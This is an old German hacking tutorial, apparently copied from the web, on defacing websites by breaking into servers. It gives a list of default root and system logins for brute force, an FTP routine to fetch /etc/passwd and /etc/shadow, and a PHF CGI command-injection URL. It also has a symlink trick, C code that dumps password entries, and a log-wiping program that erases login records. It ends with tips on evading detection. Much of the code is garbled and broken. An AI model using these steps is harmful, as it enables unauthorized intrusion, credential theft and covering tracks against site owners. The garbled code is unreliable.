| Wie man eine
Internetseite hackt!
Wenn ihr eine
Internetseite ändern wollt, ladet euch die Anfangsseite herunter und
verändert sie, setzt euer Logo oder sonst was drauf. Um die geänderte
Page ins Netz zukriegen braucht ihr den Zugang zum Account.
Also muß man den Account hacken.
Dazu braucht ihr das Passwort oder einen Root Account (Root=Supervisor).
Also, Dos-Eingabeaufforderunf
auf und folgendes eintipppen: ftp ftp.?????.???
(wobei ???
für die Erweiterung, also com, de usw. steht und ????? für die
location)
Nun kommt folgendes:
Welcome to our ftp server, please
login.
Login:
Nun einen Usernamen
eingeben, wenn keiner bekannt probieren oder die Standards testen (guest,
root, syste, test, demo, anonymous usw.). Dann müßt ihr das
Passswort eingeben,
also probieren,
die Standards testen oder bei anonymous ftp oder xx@xx.xx eingeben.
Anschließend "get /etc/passwd"
eingeben, wenn ihr das File kriegt, verbindung schließen und das
passwd mit Notepad öffnen. Wenn es x' e,, *ne,... enthält versucht
auf dem Server "get etc/shadow"
aus.
Wenn du die
Meldung "File marked", oder wenn ich das File nicht downloaden kann bleiben
euch vier Möglichkeiten an root zukommen. Die eine ist Brute Force
Hacking, die andere ist ein Bug, der in einigen UNIX Versionen vorkommt,
die dritte sind einige kleine Tricks, die eventuell
klappen könnten
und die vierte ist ein c script.
1) BFH Dabei probiert ihr alle möglichen
Pwd´s auf einen Account aus. Dazu gibt´s bestimmt irgentwo
ein script => geh mal suchen. Ansonsten probier mal diese Liste,
sie ist aus einem recht neuen Guide, letztens hat daemon bei nem
Server geklappt, also vielleicht habt ihr Glück.
login: root pw: root
login: root pw: system
login: root pw: sysop
login: sys pw: sys
login: sys pw: system
login: daemon pw: daemon
login: uucp pw: uucp
login: tty pw: tty
login: test pw: test
login: unix pw: unix
login: unix pw: test
login: bin pw: bin
login: adm pw: adm
login: adm pw: admin
login: admin pw: admin
login: sysman pw: sysman
login: sysman pw: sys
login: sysman pw: system
login: sysadmin pw: sysadmin
login: sysadmin pw: system
login: sysadmin pw: sys
login: sysadmin pw: admin
login: sysadmin pw: adm
login: who pw: who
login: learn pw: learn
login: uuhost pw: uuhost
login: guest pw: guest
login: host pw: host
login: nuucp pw: nuucp
login: rje pw: rje
login: games pw: games
login: games pw: player
login: sysop pw: sysop
login: demo pw: demo
Zurück zum BFH. Man probiert
root mit den pwd´s durch, dann sysadmin... usw. irgentwann findest
man schon was. (BFH ist wirklich
nur ausprobieren von pwds.).
Naja, dies Methode kostet viel Zeit
und Geduld, aber wer hat gesagt das es einfach ist? Viel Glück!
2)der Bug
http://www.xxx.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
an Stelle
des /etc/passwd am ende probiert man beim zweiten mal /etc/shadow
3)die Tricks
also diese Tricks funktionieren
nur auf einigen Systemen, vielleicht auch bei eueren Opfern. Der Trick
beruht auf loops. Was loops sind
möchte ich euch jetzt nicht unbedingt erklären, da das zu lange
dauern
würde. also ihr logt mit anonymous
ein. dann schreibst ihr:
ypcat /etc/passwd >~/passwd
rm -f ~/.lastlogin
ln -s ~/.lastlogin /etc/passwd
Nun ausloggen
und wieder einloggen, du hast eine Link gesetzt.
cat .lastlogin > passwd
rm -f ~/.lastlogin
4)das Script
Besorgt
euch einen c++ compiler, dann kopiert ihr dieses Script in das Programm
und kompiliert es.
struct
SHADOWPW { /* see getpwent(3)
*/
char *pw_name;
char *pw_passwd;
int pw_uid;
int pw_gid;
int pw_quota;
char *pw_comment;
char *pw_gecos;
char *pw_dir;
char *pw_shell;
};
struct passwd *getpwent(),
*getpwuid(), *getpwnam();
#ifdef elxsis?
/* Name
of the shadow password file.
Contains
password and aging info*
#define SHADOW "/etc/shadowpw"
#define SHADOWPW_PAG
"/etc/shadowpw.pag"
#define SHADOWPW_DIR
"/etc/shadowpw.dir"
/*
* Shadow
password file pwd->pw_gecos
field contains:
*
*
<type>,<period>,<last_time>,<old_time>,<old_password>
*
* <type>
= Type of password criteria
to enforce (type int).
* BSD_CRIT (0), normal BSD.
* STR_CRIT
(1), strong passwords.
* <period>
= Password aging period
(type long).
* 0, no aging.
* else,
number of seconds in aging
period.
* <last_time>
= Time (seconds from
epoch) of the last password
* change (type long).
* 0, never changed.n
* <old_time> =Time (seconds from
ephoch)
That the current password
* Was
made the <old_password> (type
long).
* 0, never changed.ewromsinm
* <old_password> = Password
(encrypted) saved for an aging
<period>
t * prevent reuse during
that period (type char [20]).
* "*******", no <old_password>.
*/
/* number
o tries to change an aged
password */
#deffine CHANGE_TRIES 3
/* program to execute to change
passwords */
#define
PASSWD_PROG "/bin/passwd"
/* Name
of the password aging exempt
user
names and max number of entir
#define EXEMPTPW "/etc/exemptpw"
#define MAX_EXEMPT 100
/* Password
criteria to enforce */
#define BSD_CRIT 0 /* Normal BSD
password criteria */
#define STR_CRIT 1 /* Strong
password criteria */
#define MAX_CRIT 1
#endif elxsi
#define NULL 0
main()
{
struct passwd *p;
int i;
for (;1;) {;
p=getpwent();
if (p==NULL) return;
printpw(p);
}
}
printpw(a)
struct SHADOWPW *a;
{
printf("%s:%s:%d:%d:%s:%s:%s\n",
a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid,
a->pw_gecos,a->pw_dir,a->pw_shell);
}
/* SunOS 5.0 /etc/shadow */
/* SunOS4.1+c2
/etc/security/passwd.adjunct */
Wenn ihr dann
das pwd file habt, crack es mit einem cracker (In astalavista.box.sk oder
altavista.digital nach cracker suchen). Wenn ihr dann root
seit, solltest ihr noch eueren
login löschen.
Also wieder ein c script.
#include
#include
#include
#include
#include
#include
#include
#include
#define
WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME
"/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,_RDWR))>=0)
{
while(read (f, &utmp_ent,
sizeof (utmp_ent))> 0 )
if
(!strncmp(utmp_ent.ut_name,who,strlen(who)))
{
bzero((char *)&utmp_ent,sizeof(
utmp_ent ));
lseek (f, -(sizeof (utmp_ent)),
SEEK_CUR);
write (f, &utmp_ent, sizeof
(utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0)
{
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct
utmp)) *pos),L_XTND);
if (read (f, &utmp_ent, sizeof
(struct utmp))<0) {
pos = -1L;
} else {
if
(!strncmp(utmp_ent.ut_name,who,strlen(who)))
{
bzero((char
*)&utmp_ent,sizeof(struct
utmp ));
lseek(f,-(
(sizeof(struct utmp)) *
pos),L_XTND);
write (f, utmp_ent, sizeof
(utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME,
O_RDWR))
>=0) {
lseek(f,
(long)pwd->pw_uid * sizeof
(struct lastlog), 0);
bzero((char
*)&newll,sizeof( newll
));
close(f);
}
} else printf("%s: ?/n",who);
}
mai(argc,argv)
int argc;
char *argv[];
{
if (argc--2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!/n");
} else
printf("Error./n");
}
Naja Leute ich würd sagen viel
Glück und nicht erwischen lassen. Achso eins noch die besten Zeiten
zum Hacken sind wohl:
Werktags zwischen 10:00 und 12:00
und 15:30 und 18:00, wegen der vielen Hits um diese Zeit.
Nachts gegen 3:00, da um diese
Zeit niemand den Server überwacht.
gefunden im Internet
Author nicht bekannt |